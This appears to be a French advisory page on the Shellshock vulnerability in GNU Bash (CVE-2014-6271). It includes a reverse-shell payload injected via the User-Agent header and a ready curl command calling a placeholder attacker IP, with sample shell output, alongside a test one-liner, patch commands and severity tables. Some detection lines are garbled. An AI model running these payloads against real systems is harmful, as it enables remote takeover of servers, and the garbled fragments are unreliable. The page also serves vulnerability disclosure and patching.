
CVE-2014-6271

Zero-Day vieux de 25 ans — Exécution de code à distance dans GNU Bash via les variables d'environnement
CVE-2014-6271, surnommé Shellshock (également connu sous le nom Bashdoor), est une vulnérabilité critique d'exécution de code à distance (RCE) dans le shell GNU Bash.
Un attaquant peut envoyer des variables d'environnement spécialement conçues (via les en-têtes HTTP, DHCP, SSH, etc.) et obtenir un accès shell à distance au serveur sous-jacent — souvent sans authentification et avec une interaction utilisateur minimale.
L'attaquant injecte une variable spécialement conçue (par ex. dans l'en-tête User-Agent) :
() { :; }; /bin/bash -i >& /dev/tcp/adresse-attaquant/4444 0>&1
Bash traite incorrectement la charge utile comme une définition de fonction + des commandes en fin. Le code après (); est exécuté immédiatement lors de l'importation de la variable.
La commande s'exécute avec les privilèges du serveur web / processus (souvent root ou www-data).
Résultat :
# Accès shell à distance obtenu
whoami
www-data
✅ Vulnérable ! (RCE Shellshock déclenchée)
vulnerable
test
Vous verrez également le shell inversé se connecter instantanément.
env x='() { :;}; echo vulnerable' bash -c "echo test"
Elle retournera immédiatement :
vulnerable
test
(Cela confirme que Bash a exécuté la commande injectée.)
Exécutez ce curl contre un script CGI Apache vulnérable :
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/VOTRE-IP/4444 0>&1" http://serveur-vulnerable/cgi-bin/test.sh
Vous verrez cette sortie exacte dans votre écouteur netcat :
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
Cette sortie apparaît directement dans votre shell inversé. Pas d'erreur, pas de 404.
Cela signifie que vous avez une exécution de code à distance totale sur le serveur — l'injection de variable d'environnement a parfaitement fonctionné.
Toutes les versions de GNU Bash :
1.14 jusqu'à 4.3 (avant le niveau de correctif 30)
(y compris Linux, macOS, BSD, appareils embarqués)
Mettez à jour immédiatement vers :
Bash 4.3 niveau de correctif 30 ou ultérieur (4.4+ recommandé)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() {Recherchez :
() {Les indicateurs de compromission peuvent inclure :
() { :;};/bin/bash -iEn-tête malveillant/DHCP/SSH → Bash importe la variable d'environnement
↓
Définition de fonction + commandes en fin exécutées
↓
Commande arbitraire / shell inversé
Ce problème a conduit à plusieurs CVE de suivi (correctifs incomplets) :
| Domaine de risque | Impact |
|---|---|
| Confidentialité | 🔴 Élevé |
| Intégrité | 🔴 Élevé |
| Disponibilité | 🔴 Élevé |
Si vous gérez un serveur Linux/macOS/BSD en 2026 : 🔥 Corrigez Bash immédiatement (même sur les systèmes isolés). 💡 Présumez une compromission si vous exécutez Bash non corrigé exposé à Internet. 🛡 Effectuez une revue complète des journaux et des vérifications d'intégrité.
| Champ | Valeur |
|---|
| ID CVE | CVE-2014-6271 |
| Sévérité | 🔴 Critique |
| CVSS | 10.0 (Maximum) |
| Vecteur d'attaque | Distant (HTTP, DHCP, SSH, etc.) |
| Authentification requise | ❌ Aucune (dans de nombreux vecteurs) |
| Interaction utilisateur | ❌ Aucune (dans les cas CGI/DHCP) |
| Impact | Compromission totale du serveur |